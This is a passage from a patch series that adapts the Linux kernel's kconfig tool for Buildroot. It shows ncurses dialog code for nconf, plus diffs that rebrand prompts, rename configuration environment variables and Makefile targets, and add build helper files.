menu_driver(menu, REQ_LEFT_ITEM);
|
||||
break;
|
||||
case KEY_RIGHT:
|
||||
menu_driver(menu, REQ_RIGHT_ITEM);
|
||||
break;
|
||||
case 10: /* ENTER */
|
||||
case 27: /* ESCAPE */
|
||||
case ' ':
|
||||
case KEY_F(F_BACK):
|
||||
case KEY_F(F_EXIT):
|
||||
break;
|
||||
}
|
||||
touchwin(win);
|
||||
refresh_all_windows(main_window);
|
||||
|
||||
if (res == 10 || res == ' ') {
|
||||
res = item_index(current_item(menu));
|
||||
break;
|
||||
} else if (res == 27 || res == KEY_F(F_BACK) ||
|
||||
res == KEY_F(F_EXIT)) {
|
||||
res = KEY_EXIT;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
unpost_menu(menu);
|
||||
free_menu(menu);
|
||||
for (i = 0; i < btn_num; i++)
|
||||
free_item(btns[i]);
|
||||
|
||||
delwin(win);
|
||||
return res;
|
||||
}
|
||||
|
||||
int dialog_inputbox(WINDOW *main_window,
|
||||
const char *title, const char *prompt,
|
||||
const char *init, char **resultp, int *result_len)
|
||||
{
|
||||
int prompt_lines = 0;
|
||||
int prompt_width = 0;
|
||||
WINDOW *win;
|
||||
WINDOW *prompt_win;
|
||||
WINDOW *form_win;
|
||||
PANEL *panel;
|
||||
int i, x, y;
|
||||
int res = -1;
|
||||
int cursor_position = strlen(init);
|
||||
int cursor_form_win;
|
||||
char *result = *resultp;
|
||||
|
||||
if (strlen(init)+1 > *result_len) {
|
||||
*result_len = strlen(init)+1;
|
||||
*resultp = result = realloc(result, *result_len);
|
||||
}
|
||||
|
||||
/* find the widest line of msg: */
|
||||
prompt_lines = get_line_no(prompt);
|
||||
for (i = 0; i < prompt_lines; i++) {
|
||||
const char *line = get_line(prompt, i);
|
||||
int len = get_line_length(line);
|
||||
prompt_width = max(prompt_width, len);
|
||||
}
|
||||
|
||||
if (title)
|
||||
prompt_width = max(prompt_width, strlen(title));
|
||||
|
||||
/* place dialog in middle of screen */
|
||||
y = (getmaxy(stdscr)-(prompt_lines+4))/2;
|
||||
x = (getmaxx(stdscr)-(prompt_width+4))/2;
|
||||
|
||||
strncpy(result, init, *result_len);
|
||||
|
||||
/* create the windows */
|
||||
win = newwin(prompt_lines+6, prompt_width+7, y, x);
|
||||
prompt_win = derwin(win, prompt_lines+1, prompt_width, 2, 2);
|
||||
form_win = derwin(win, 1, prompt_width, prompt_lines+3, 2);
|
||||
keypad(form_win, TRUE);
|
||||
|
||||
(void) wattrset(form_win, attributes[INPUT_FIELD]);
|
||||
|
||||
(void) wattrset(win, attributes[INPUT_BOX]);
|
||||
box(win, 0, 0);
|
||||
(void) wattrset(win, attributes[INPUT_HEADING]);
|
||||
if (title)
|
||||
mvwprintw(win, 0, 3, "%s", title);
|
||||
|
||||
/* print message */
|
||||
(void) wattrset(prompt_win, attributes[INPUT_TEXT]);
|
||||
fill_window(prompt_win, prompt);
|
||||
|
||||
mvwprintw(form_win, 0, 0, "%*s", prompt_width, " ");
|
||||
cursor_form_win = min(cursor_position, prompt_width-1);
|
||||
mvwprintw(form_win, 0, 0, "%s",
|
||||
result + cursor_position-cursor_form_win);
|
||||
|
||||
/* create panels */
|
||||
panel = new_panel(win);
|
||||
|
||||
/* show the cursor */
|
||||
curs_set(1);
|
||||
|
||||
touchwin(win);
|
||||
refresh_all_windows(main_window);
|
||||
while ((res = wgetch(form_win))) {
|
||||
int len = strlen(result);
|
||||
switch (res) {
|
||||
case 10: /* ENTER */
|
||||
case 27: /* ESCAPE */
|
||||
case KEY_F(F_HELP):
|
||||
case KEY_F(F_EXIT):
|
||||
case KEY_F(F_BACK):
|
||||
break;
|
||||
case 127:
|
||||
case KEY_BACKSPACE:
|
||||
if (cursor_position > 0) {
|
||||
memmove(&result[cursor_position-1],
|
||||
&result[cursor_position],
|
||||
len-cursor_position+1);
|
||||
cursor_position--;
|
||||
cursor_form_win--;
|
||||
len--;
|
||||
}
|
||||
break;
|
||||
case KEY_DC:
|
||||
if (cursor_position >= 0 && cursor_position < len) {
|
||||
memmove(&result[cursor_position],
|
||||
&result[cursor_position+1],
|
||||
len-cursor_position+1);
|
||||
len--;
|
||||
}
|
||||
break;
|
||||
case KEY_UP:
|
||||
case KEY_RIGHT:
|
||||
if (cursor_position < len) {
|
||||
cursor_position++;
|
||||
cursor_form_win++;
|
||||
}
|
||||
break;
|
||||
case KEY_DOWN:
|
||||
case KEY_LEFT:
|
||||
if (cursor_position > 0) {
|
||||
cursor_position--;
|
||||
cursor_form_win--;
|
||||
}
|
||||
break;
|
||||
case KEY_HOME:
|
||||
cursor_position = 0;
|
||||
cursor_form_win = 0;
|
||||
break;
|
||||
case KEY_END:
|
||||
cursor_position = len;
|
||||
cursor_form_win = min(cursor_position, prompt_width-1);
|
||||
break;
|
||||
default:
|
||||
if ((isgraph(res) || isspace(res))) {
|
||||
/* one for new char, one for '\0' */
|
||||
if (len+2 > *result_len) {
|
||||
*result_len = len+2;
|
||||
*resultp = result = realloc(result,
|
||||
*result_len);
|
||||
}
|
||||
/* insert the char at the proper position */
|
||||
memmove(&result[cursor_position+1],
|
||||
&result[cursor_position],
|
||||
len-cursor_position+1);
|
||||
result[cursor_position] = res;
|
||||
cursor_position++;
|
||||
cursor_form_win++;
|
||||
len++;
|
||||
} else {
|
||||
mvprintw(0, 0, "unknown key: %d\n", res);
|
||||
}
|
||||
break;
|
||||
}
|
||||
if (cursor_form_win < 0)
|
||||
cursor_form_win = 0;
|
||||
else if (cursor_form_win > prompt_width-1)
|
||||
cursor_form_win = prompt_width-1;
|
||||
|
||||
wmove(form_win, 0, 0);
|
||||
wclrtoeol(form_win);
|
||||
mvwprintw(form_win, 0, 0, "%*s", prompt_width, " ");
|
||||
mvwprintw(form_win, 0, 0, "%s",
|
||||
result + cursor_position-cursor_form_win);
|
||||
wmove(form_win, 0, cursor_form_win);
|
||||
touchwin(win);
|
||||
refresh_all_windows(main_window);
|
||||
|
||||
if (res == 10) {
|
||||
res = 0;
|
||||
break;
|
||||
} else if (res == 27 || res == KEY_F(F_BACK) ||
|
||||
res == KEY_F(F_EXIT)) {
|
||||
res = KEY_EXIT;
|
||||
break;
|
||||
} else if (res == KEY_F(F_HELP)) {
|
||||
res = 1;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
/* hide the cursor */
|
||||
curs_set(0);
|
||||
del_panel(panel);
|
||||
delwin(prompt_win);
|
||||
delwin(form_win);
|
||||
delwin(win);
|
||||
return res;
|
||||
}
|
||||
|
||||
/* refresh all windows in the correct order */
|
||||
void refresh_all_windows(WINDOW *main_window)
|
||||
{
|
||||
update_panels();
|
||||
touchwin(main_window);
|
||||
refresh();
|
||||
}
|
||||
|
||||
/* layman's scrollable window... */
|
||||
void show_scroll_win(WINDOW *main_window,
|
||||
const char *title,
|
||||
const char *text)
|
||||
{
|
||||
int res;
|
||||
int total_lines = get_line_no(text);
|
||||
int x, y, lines, columns;
|
||||
int start_x = 0, start_y = 0;
|
||||
int text_lines = 0, text_cols = 0;
|
||||
int total_cols = 0;
|
||||
int win_cols = 0;
|
||||
int win_lines = 0;
|
||||
int i = 0;
|
||||
WINDOW *win;
|
||||
WINDOW *pad;
|
||||
PANEL *panel;
|
||||
|
||||
getmaxyx(stdscr, lines, columns);
|
||||
|
||||
/* find the widest line of msg: */
|
||||
total_lines = get_line_no(text);
|
||||
for (i = 0; i < total_lines; i++) {
|
||||
const char *line = get_line(text, i);
|
||||
int len = get_line_length(line);
|
||||
total_cols = max(total_cols, len+2);
|
||||
}
|
||||
|
||||
/* create the pad */
|
||||
pad = newpad(total_lines+10, total_cols+10);
|
||||
(void) wattrset(pad, attributes[SCROLLWIN_TEXT]);
|
||||
fill_window(pad, text);
|
||||
|
||||
win_lines = min(total_lines+4, lines-2);
|
||||
win_cols = min(total_cols+2, columns-2);
|
||||
text_lines = max(win_lines-4, 0);
|
||||
text_cols = max(win_cols-2, 0);
|
||||
|
||||
/* place window in middle of screen */
|
||||
y = (lines-win_lines)/2;
|
||||
x = (columns-win_cols)/2;
|
||||
|
||||
win = newwin(win_lines, win_cols, y, x);
|
||||
keypad(win, TRUE);
|
||||
/* show the help in the help window, and show the help panel */
|
||||
(void) wattrset(win, attributes[SCROLLWIN_BOX]);
|
||||
box(win, 0, 0);
|
||||
(void) wattrset(win, attributes[SCROLLWIN_HEADING]);
|
||||
mvwprintw(win, 0, 3, " %s ", title);
|
||||
panel = new_panel(win);
|
||||
|
||||
/* handle scrolling */
|
||||
do {
|
||||
|
||||
copywin(pad, win, start_y, start_x, 2, 2, text_lines,
|
||||
text_cols, 0);
|
||||
print_in_middle(win,
|
||||
text_lines+2,
|
||||
0,
|
||||
text_cols,
|
||||
"<OK>",
|
||||
attributes[DIALOG_MENU_FORE]);
|
||||
wrefresh(win);
|
||||
|
||||
res = wgetch(win);
|
||||
switch (res) {
|
||||
case KEY_NPAGE:
|
||||
case ' ':
|
||||
case 'd':
|
||||
start_y += text_lines-2;
|
||||
break;
|
||||
case KEY_PPAGE:
|
||||
case 'u':
|
||||
start_y -= text_lines+2;
|
||||
break;
|
||||
case KEY_HOME:
|
||||
start_y = 0;
|
||||
break;
|
||||
case KEY_END:
|
||||
start_y = total_lines-text_lines;
|
||||
break;
|
||||
case KEY_DOWN:
|
||||
case 'j':
|
||||
start_y++;
|
||||
break;
|
||||
case KEY_UP:
|
||||
case 'k':
|
||||
start_y--;
|
||||
break;
|
||||
case KEY_LEFT:
|
||||
case 'h':
|
||||
start_x--;
|
||||
break;
|
||||
case KEY_RIGHT:
|
||||
case 'l':
|
||||
start_x++;
|
||||
break;
|
||||
}
|
||||
if (res == 10 || res == 27 || res == 'q' ||
|
||||
res == KEY_F(F_HELP) || res == KEY_F(F_BACK) ||
|
||||
res == KEY_F(F_EXIT))
|
||||
break;
|
||||
if (start_y < 0)
|
||||
start_y = 0;
|
||||
if (start_y >= total_lines-text_lines)
|
||||
start_y = total_lines-text_lines;
|
||||
if (start_x < 0)
|
||||
start_x = 0;
|
||||
if (start_x >= total_cols-text_cols)
|
||||
start_x = total_cols-text_cols;
|
||||
} while (res);
|
||||
|
||||
del_panel(panel);
|
||||
delwin(win);
|
||||
refresh_all_windows(main_window);
|
||||
}
|
@ -0,0 +1,96 @@
|
||||
/*
|
||||
* Copyright (C) 2008 Nir Tzachar <nir.tzachar@gmail.com?
|
||||
* Released under the terms of the GNU GPL v2.0.
|
||||
*
|
||||
* Derived from menuconfig.
|
||||
*
|
||||
*/
|
||||
|
||||
#include <ctype.h>
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <limits.h>
|
||||
#include <stdarg.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <locale.h>
|
||||
#include <curses.h>
|
||||
#include <menu.h>
|
||||
#include <panel.h>
|
||||
#include <form.h>
|
||||
|
||||
#include <stdio.h>
|
||||
#include <time.h>
|
||||
#include <sys/time.h>
|
||||
|
||||
#include "ncurses.h"
|
||||
|
||||
#define max(a, b) ({\
|
||||
typeof(a) _a = a;\
|
||||
typeof(b) _b = b;\
|
||||
_a > _b ? _a : _b; })
|
||||
|
||||
#define min(a, b) ({\
|
||||
typeof(a) _a = a;\
|
||||
typeof(b) _b = b;\
|
||||
_a < _b ? _a : _b; })
|
||||
|
||||
typedef enum {
|
||||
NORMAL = 1,
|
||||
MAIN_HEADING,
|
||||
MAIN_MENU_BOX,
|
||||
MAIN_MENU_FORE,
|
||||
MAIN_MENU_BACK,
|
||||
MAIN_MENU_GREY,
|
||||
MAIN_MENU_HEADING,
|
||||
SCROLLWIN_TEXT,
|
||||
SCROLLWIN_HEADING,
|
||||
SCROLLWIN_BOX,
|
||||
DIALOG_TEXT,
|
||||
DIALOG_MENU_FORE,
|
||||
DIALOG_MENU_BACK,
|
||||
DIALOG_BOX,
|
||||
INPUT_BOX,
|
||||
INPUT_HEADING,
|
||||
INPUT_TEXT,
|
||||
INPUT_FIELD,
|
||||
FUNCTION_TEXT,
|
||||
FUNCTION_HIGHLIGHT,
|
||||
ATTR_MAX
|
||||
} attributes_t;
|
||||
extern attributes_t attributes[];
|
||||
|
||||
typedef enum {
|
||||
F_HELP = 1,
|
||||
F_SYMBOL = 2,
|
||||
F_INSTS = 3,
|
||||
F_CONF = 4,
|
||||
F_BACK = 5,
|
||||
F_SAVE = 6,
|
||||
F_LOAD = 7,
|
||||
F_SEARCH = 8,
|
||||
F_EXIT = 9,
|
||||
} function_key;
|
||||
|
||||
void set_colors(void);
|
||||
|
||||
/* this changes the windows attributes !!! */
|
||||
void print_in_middle(WINDOW *win,
|
||||
int starty,
|
||||
int startx,
|
||||
int width,
|
||||
const char *string,
|
||||
chtype color);
|
||||
int get_line_length(const char *line);
|
||||
int get_line_no(const char *text);
|
||||
const char *get_line(const char *text, int line_no);
|
||||
void fill_window(WINDOW *win, const char *text);
|
||||
int btn_dialog(WINDOW *main_window, const char *msg, int btn_num, ...);
|
||||
int dialog_inputbox(WINDOW *main_window,
|
||||
const char *title, const char *prompt,
|
||||
const char *init, char **resultp, int *result_len);
|
||||
void refresh_all_windows(WINDOW *main_window);
|
||||
void show_scroll_win(WINDOW *main_window,
|
||||
const char *title,
|
||||
const char *text);
|
@ -0,0 +1,107 @@
|
||||
---
|
||||
confdata.c | 4 ++--
|
||||
gconf.glade | 2 +-
|
||||
mconf.c | 4 ++--
|
||||
zconf.tab.c_shipped | 2 +-
|
||||
zconf.y | 2 +-
|
||||
5 files changed, 7 insertions(+), 7 deletions(-)
|
||||
|
||||
Index: kconfig/gconf.glade
|
||||
===================================================================
|
||||
--- kconfig.orig/gconf.glade 2013-12-27 22:14:32.395629843 +0100
|
||||
+++ kconfig/gconf.glade 2013-12-27 22:14:32.387630158 +0100
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
<widget class="GtkWindow" id="window1">
|
||||
<property name="visible">True</property>
|
||||
- <property name="title" translatable="yes">Gtk Kernel Configurator</property>
|
||||
+ <property name="title" translatable="yes">Gtk Buildroot Configurator</property>
|
||||
<property name="type">GTK_WINDOW_TOPLEVEL</property>
|
||||
<property name="window_position">GTK_WIN_POS_NONE</property>
|
||||
<property name="modal">False</property>
|
||||
Index: kconfig/mconf.c
|
||||
===================================================================
|
||||
--- kconfig.orig/mconf.c 2013-12-27 22:14:32.395629843 +0100
|
||||
+++ kconfig/mconf.c 2013-12-27 22:14:42.179244153 +0100
|
||||
@@ -176,9 +176,9 @@
|
||||
"Arrow keys navigate the menu. "
|
||||
"<Enter> selects submenus ---> (or empty submenus ----). "
|
||||
"Highlighted letters are hotkeys. "
|
||||
- "Pressing <Y> includes, <N> excludes, <M> modularizes features. "
|
||||
+ "Pressing <Y> selectes a feature, while <N> will exclude a feature. "
|
||||
"Press <Esc><Esc> to exit, <?> for Help, </> for Search. "
|
||||
- "Legend: [*] built-in [ ] excluded <M> module < > module capable"),
|
||||
+ "Legend: [*] feature is selected [ ] feature is excluded"),
|
||||
radiolist_instructions[] = N_(
|
||||
"Use the arrow keys to navigate this window or "
|
||||
"press the hotkey of the item you wish to select "
|
||||
@@ -959,7 +959,7 @@
|
||||
if (conf_get_changed())
|
||||
res = dialog_yesno(NULL,
|
||||
_("Do you wish to save your new configuration?\n"
|
||||
- "(Press <ESC><ESC> to continue kernel configuration.)"),
|
||||
+ "(Press <ESC><ESC> to continue Buildroot configuration.)"),
|
||||
6, 60);
|
||||
else
|
||||
res = -1;
|
||||
Index: kconfig/zconf.tab.c_shipped
|
||||
===================================================================
|
||||
--- kconfig.orig/zconf.tab.c_shipped 2013-12-27 22:14:32.395629843 +0100
|
||||
+++ kconfig/zconf.tab.c_shipped 2013-12-27 22:14:32.391630000 +0100
|
||||
@@ -2297,7 +2297,7 @@
|
||||
|
||||
sym_init();
|
||||
_menu_init();
|
||||
- rootmenu.prompt = menu_add_prompt(P_MENU, "Linux Kernel Configuration", NULL);
|
||||
+ rootmenu.prompt = menu_add_prompt(P_MENU, "Buildroot Configuration", NULL);
|
||||
|
||||
if (getenv("ZCONF_DEBUG"))
|
||||
zconfdebug = 1;
|
||||
Index: kconfig/zconf.y
|
||||
===================================================================
|
||||
--- kconfig.orig/zconf.y 2013-12-27 22:14:32.395629843 +0100
|
||||
+++ kconfig/zconf.y 2013-12-27 22:14:32.391630000 +0100
|
||||
@@ -493,7 +493,7 @@
|
||||
|
||||
sym_init();
|
||||
_menu_init();
|
||||
- rootmenu.prompt = menu_add_prompt(P_MENU, "Linux Kernel Configuration", NULL);
|
||||
+ rootmenu.prompt = menu_add_prompt(P_MENU, "Buildroot Configuration", NULL);
|
||||
|
||||
if (getenv("ZCONF_DEBUG"))
|
||||
zconfdebug = 1;
|
||||
Index: kconfig/confdata.c
|
||||
===================================================================
|
||||
--- kconfig.orig/confdata.c 2013-12-27 22:14:32.395629843 +0100
|
||||
+++ kconfig/confdata.c 2013-12-27 22:14:32.391630000 +0100
|
||||
@@ -25,7 +25,7 @@
|
||||
static const char *conf_filename;
|
||||
static int conf_lineno, conf_warnings, conf_unsaved;
|
||||
|
||||
-const char conf_defname[] = "arch/$ARCH/defconfig";
|
||||
+const char conf_defname[] = ".defconfig";
|
||||
|
||||
static void conf_warning(const char *fmt, ...)
|
||||
{
|
||||
@@ -63,7 +63,7 @@
|
||||
|
||||
const char *conf_get_configname(void)
|
||||
{
|
||||
- char *name = getenv("KCONFIG_CONFIG");
|
||||
+ char *name = getenv("BR2_CONFIG");
|
||||
|
||||
return name ? name : ".config";
|
||||
}
|
||||
Index: kconfig/qconf.cc
|
||||
===================================================================
|
||||
--- kconfig.orig/qconf.cc 2013-12-27 22:12:15.825013567 +0100
|
||||
+++ kconfig/qconf.cc 2013-12-27 22:14:57.826627300 +0100
|
||||
@@ -70,7 +70,7 @@
|
||||
}
|
||||
|
||||
ConfigSettings::ConfigSettings()
|
||||
- : QSettings("kernel.org", "qconf")
|
||||
+ : QSettings("buildroot.org", "qconf")
|
||||
{
|
||||
}
|
||||
|
@ -0,0 +1,35 @@
|
||||
---
|
||||
Makefile | 8 ++++----
|
||||
1 file changed, 4 insertions(+), 4 deletions(-)
|
||||
|
||||
Index: b/Makefile
|
||||
===================================================================
|
||||
--- a/Makefile
|
||||
+++ b/Makefile
|
||||
@@ -159,11 +159,11 @@
|
||||
|
||||
hostprogs-y := conf
|
||||
|
||||
-ifeq ($(MAKECMDGOALS),nconfig)
|
||||
+ifeq ($(MAKECMDGOALS),nconf)
|
||||
hostprogs-y += nconf
|
||||
endif
|
||||
|
||||
-ifeq ($(MAKECMDGOALS),menuconfig)
|
||||
+ifeq ($(MAKECMDGOALS),mconf)
|
||||
hostprogs-y += mconf
|
||||
endif
|
||||
|
||||
@@ -171,10 +171,10 @@
|
||||
hostprogs-y += kxgettext
|
||||
endif
|
||||
|
||||
-ifeq ($(MAKECMDGOALS),xconfig)
|
||||
+ifeq ($(MAKECMDGOALS),qconf)
|
||||
qconf-target := 1
|
||||
endif
|
||||
-ifeq ($(MAKECMDGOALS),gconfig)
|
||||
+ifeq ($(MAKECMDGOALS),gconf)
|
||||
gconf-target := 1
|
||||
endif
|
||||
|
@ -0,0 +1,80 @@
|
||||
---
|
||||
Makefile.br | 53 +++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||||
foo.h | 12 ++++++++++++
|
||||
2 files changed, 65 insertions(+)
|
||||
|
||||
Index: b/Makefile.br
|
||||
===================================================================
|
||||
--- /dev/null
|
||||
+++ b/Makefile.br
|
||||
@@ -0,0 +1,53 @@
|
||||
+src := .
|
||||
+top_srcdir=../../
|
||||
+top_builddir=../../
|
||||
+srctree := .
|
||||
+obj ?= .
|
||||
+
|
||||
+include Makefile
|
||||
+#HOSTCFLAGS+=-Dinline="" -include foo.h
|
||||
+-include $(obj)/.depend
|
||||
+$(obj)/.depend: $(wildcard *.h *.c)
|
||||
+ $(HOSTCC) $(HOST_EXTRACFLAGS) $(HOSTCFLAGS) -MM *.c > $@ 2>/dev/null || :
|
||||
+
|
||||
+__hostprogs := $(sort $(hostprogs-y) $(hostprogs-m))
|
||||
+host-csingle := $(foreach m,$(__hostprogs),$(if $($(m)-objs),,$(m)))
|
||||
+host-cmulti := $(foreach m,$(__hostprogs),\
|
||||
+ $(if $($(m)-cxxobjs),,$(if $($(m)-objs),$(m))))
|
||||
+host-cxxmulti := $(foreach m,$(__hostprogs),\
|
||||
+ $(if $($(m)-cxxobjs),$(m),$(if $($(m)-objs),)))
|
||||
+host-cobjs := $(addprefix $(obj)/,$(sort $(foreach m,$(__hostprogs),$($(m)-objs))))
|
||||
+host-cxxobjs := $(addprefix $(obj)/,$(sort $(foreach m,$(__hostprogs),$($(m)-cxxobjs))))
|
||||
+
|
||||
+HOST_EXTRACFLAGS += -I$(obj) -DCONFIG_=\"\"
|
||||
+
|
||||
+$(host-csingle): %: %.c
|
||||
+ $(HOSTCC) $(HOST_EXTRACFLAGS) $(HOSTCFLAGS) $(HOSTCFLAGS_$@) $< -o $(obj)/$@
|
||||
+
|
||||
+$(host-cmulti): %: $(host-cobjs) $(host-cshlib)
|
||||
+ $(HOSTCC) $(HOST_EXTRACFLAGS) $(HOSTCFLAGS) $(HOSTCFLAGS_$@) $(addprefix $(obj)/,$($(@F)-objs)) $(HOSTLOADLIBES_$(@F)) -o $(obj)/$@
|
||||
+
|
||||
+$(host-cxxmulti): %: $(host-cxxobjs) $(host-cobjs) $(host-cshlib)
|
||||
+ $(HOSTCXX) $(HOST_EXTRACFLAGS) $(HOSTCFLAGS) $(HOSTCXXFLAGS_$@) $(addprefix $(obj)/,$($(@F)-objs) $($(@F)-cxxobjs)) $(HOSTLOADLIBES_$(@F)) -o $(obj)/$@
|
||||
+
|
||||
+$(obj)/%.o: %.c
|
||||
+ $(HOSTCC) $(HOST_EXTRACFLAGS) $(HOSTCFLAGS) $(HOSTCFLAGS_$(@F)) -c $< -o $@
|
||||
+
|
||||
+$(obj)/%.o: $(obj)/%.c
|
||||
+ $(HOSTCC) $(HOST_EXTRACFLAGS) $(HOSTCFLAGS) $(HOSTCFLAGS_$(@F)) -c $< -o $@
|
||||
+
|
||||
+$(obj)/%.o: %.cc
|
||||
+ $(HOSTCC) $(HOST_EXTRACFLAGS) $(HOSTCFLAGS) $(HOSTCXXFLAGS_$(@F)) -c $< -o $@
|
||||
+
|
||||
+$(obj)/%:: $(src)/%_shipped
|
||||
+ $(Q)cat $< > $@
|
||||
+
|
||||
+clean:
|
||||
+ $(Q)rm -f $(addprefix $(obj)/,$(clean-files))
|
||||
+distclean: clean
|
||||
+ $(Q)rm -f $(addprefix $(obj)/,$(lxdialog) $(conf-objs) $(mconf-objs) $(kxgettext-objs) \
|
||||
+ $(hostprogs-y) $(qconf-cxxobjs) $(qconf-objs) $(gconf-objs) \
|
||||
+ mconf .depend)
|
||||
+
|
||||
+FORCE:
|
||||
+.PHONY: FORCE clean distclean
|
||||
Index: b/foo.h
|
||||
===================================================================
|
||||
--- /dev/null
|
||||
+++ b/foo.h
|
||||
@@ -0,0 +1,12 @@
|
||||
+#ifndef __KCONFIG_FOO_H
|
||||
+#define __KCONFIG_FOO_H
|
||||
+
|
||||
+#ifndef __APPLE__
|
||||
+#include <features.h>
|
||||
+#endif
|
||||
+#include <limits.h>
|
||||
+
|
||||
+#ifndef PATH_MAX
|
||||
+#define PATH_MAX 1024
|
||||
+#endif
|
||||
+#endif /* __KCONFIG_FOO_H */
|
@ -0,0 +1,282 @@
|
||||
Makefile | 8 ++++++--
|
||||
conf.c | 10 +++++-----
|
||||
confdata.c | 16 ++++++++--------
|
||||
expr.h | 2 +-
|
||||
gconf.glade | 2 +-
|
||||
lkc.h | 15 +++++++++++++++
|
||||
mconf.c | 2 +-
|
||||
merge_config.sh | 3 ++-
|
||||
qconf.cc | 2 +-
|
||||
zconf.tab.c_shipped | 2 +-
|
||||
zconf.y | 2 +-
|
||||
11 files changed, 42 insertions(+), 22 deletions(-)
|
||||
|
||||
Index: kconfig/Makefile
|
||||
===================================================================
|
||||
--- kconfig.orig/Makefile 2014-05-20 13:13:21.000000000 +0200
|
||||
+++ kconfig/Makefile 2014-05-20 13:13:21.000000000 +0200
|
||||
@@ -11,6 +11,10 @@
|
||||
Kconfig := Kconfig
|
||||
endif
|
||||
|
||||
+ifndef KBUILD_CONFIG_DIR
|
||||
+KBUILD_CONFIG_DIR=arch/$(SRCARCH)/configs
|
||||
+endif
|
||||
+
|
||||
# We need this, in case the user has it in its environment
|
||||
unexport CONFIG_
|
||||
|
||||
@@ -98,11 +102,11 @@
|
||||
$< --defconfig $(Kconfig)
|
||||
else
|
||||
@echo "*** Default configuration is based on '$(KBUILD_DEFCONFIG)'"
|
||||
- $(Q)$< --defconfig=arch/$(SRCARCH)/configs/$(KBUILD_DEFCONFIG) $(Kconfig)
|
||||
+ $(Q)$< --defconfig=$(KBUILD_CONFIG_DIR)/$(KBUILD_DEFCONFIG) $(Kconfig)
|
||||
endif
|
||||
|
||||
%_defconfig: $(obj)/conf
|
||||
- $(Q)$< --defconfig=arch/$(SRCARCH)/configs/$@ $(Kconfig)
|
||||
+ $(Q)$< --defconfig=$(KBUILD_CONFIG_DIR)/$@ $(Kconfig)
|
||||
|
||||
# Help text used by make help
|
||||
help:
|
||||
Index: kconfig/conf.c
|
||||
===================================================================
|
||||
--- kconfig.orig/conf.c 2014-05-20 13:13:21.000000000 +0200
|
||||
+++ kconfig/conf.c 2014-05-20 13:13:21.000000000 +0200
|
||||
@@ -524,7 +524,7 @@
|
||||
gettimeofday(&now, NULL);
|
||||
seed = (unsigned int)((now.tv_sec + 1) * (now.tv_usec + 1));
|
||||
|
||||
- seed_env = getenv("KCONFIG_SEED");
|
||||
+ seed_env = getenv(PRODUCT_ENV"_SEED");
|
||||
if( seed_env && *seed_env ) {
|
||||
char *endp;
|
||||
int tmp = (int)strtol(seed_env, &endp, 0);
|
||||
@@ -532,7 +532,7 @@
|
||||
seed = tmp;
|
||||
}
|
||||
}
|
||||
- fprintf( stderr, "KCONFIG_SEED=0x%X\n", seed );
|
||||
+ fprintf( stderr, PRODUCT_ENV"_SEED=0x%X\n", seed );
|
||||
srand(seed);
|
||||
break;
|
||||
}
|
||||
@@ -595,7 +595,7 @@
|
||||
case allmodconfig:
|
||||
case alldefconfig:
|
||||
case randconfig:
|
||||
- name = getenv("KCONFIG_ALLCONFIG");
|
||||
+ name = getenv(PRODUCT_ENV"_ALLCONFIG");
|
||||
if (!name)
|
||||
break;
|
||||
if ((strcmp(name, "") != 0) && (strcmp(name, "1") != 0)) {
|
||||
@@ -618,7 +618,7 @@
|
||||
if (conf_read_simple(name, S_DEF_USER) &&
|
||||
conf_read_simple("all.config", S_DEF_USER)) {
|
||||
fprintf(stderr,
|
||||
- _("*** KCONFIG_ALLCONFIG set, but no \"%s\" or \"all.config\" file found\n"),
|
||||
+ _("*** "PRODUCT_ENV"_ALLCONFIG set, but no \"%s\" or \"all.config\" file found\n"),
|
||||
name);
|
||||
exit(1);
|
||||
}
|
||||
@@ -629,7 +629,7 @@
|
||||
|
||||
if (sync_kconfig) {
|
||||
if (conf_get_changed()) {
|
||||
- name = getenv("KCONFIG_NOSILENTUPDATE");
|
||||
+ name = getenv(PRODUCT_ENV"_NOSILENTUPDATE");
|
||||
if (name && *name) {
|
||||
fprintf(stderr,
|
||||
_("\n*** The configuration requires explicit update.\n\n"));
|
||||
Index: kconfig/confdata.c
|
||||
===================================================================
|
||||
--- kconfig.orig/confdata.c 2014-05-20 13:13:21.000000000 +0200
|
||||
+++ kconfig/confdata.c 2014-05-20 13:13:21.000000000 +0200
|
||||
@@ -64,14 +64,14 @@
|
||||
|
||||
const char *conf_get_configname(void)
|
||||
{
|
||||
- char *name = getenv("BR2_CONFIG");
|
||||
+ char *name = getenv(PRODUCT_ENV"_CONFIG");
|
||||
|
||||
return name ? name : ".config";
|
||||
}
|
||||
|
||||
const char *conf_get_autoconfig_name(void)
|
||||
{
|
||||
- return getenv("KCONFIG_AUTOCONFIG");
|
||||
+ return getenv(PRODUCT_ENV"_AUTOCONFIG");
|
||||
}
|
||||
|
||||
static char *conf_expand_value(const char *in)
|
||||
@@ -767,7 +767,7 @@
|
||||
basename = conf_get_configname();
|
||||
|
||||
sprintf(newname, "%s%s", dirname, basename);
|
||||
- env = getenv("KCONFIG_OVERWRITECONFIG");
|
||||
+ env = getenv(PRODUCT_ENV"_OVERWRITECONFIG");
|
||||
if (!env || !*env) {
|
||||
sprintf(tmpname, "%s.tmpconfig.%d", dirname, (int)getpid());
|
||||
out = fopen(tmpname, "w");
|
||||
@@ -1027,13 +1027,13 @@
|
||||
fclose(tristate);
|
||||
fclose(out_h);
|
||||
|
||||
- name = getenv("KCONFIG_AUTOHEADER");
|
||||
+ name = getenv(PRODUCT_ENV"_AUTOHEADER");
|
||||
if (!name)
|
||||
name = "include/generated/autoconf.h";
|
||||
sprintf(buf, "%s.tmpconfig.h", dir);
|
||||
if (rename(buf, name))
|
||||
return 1;
|
||||
- name = getenv("KCONFIG_TRISTATE");
|
||||
+ name = getenv(PRODUCT_ENV"_TRISTATE");
|
||||
if (!name)
|
||||
name = "include/config/tristate.conf";
|
||||
sprintf(buf, "%s.tmpconfig_tristate", dir);
|
||||
@@ -1159,7 +1159,7 @@
|
||||
* -Wmaybe-uninitialized */
|
||||
if (mode == def_random) {
|
||||
int n, p[3];
|
||||
- char *env = getenv("KCONFIG_PROBABILITY");
|
||||
+ char *env = getenv(PRODUCT_ENV"_PROBABILITY");
|
||||
n = 0;
|
||||
while( env && *env ) {
|
||||
char *endp;
|
||||
@@ -1168,7 +1168,7 @@
|
||||
p[n++] = tmp;
|
||||
} else {
|
||||
errno = ERANGE;
|
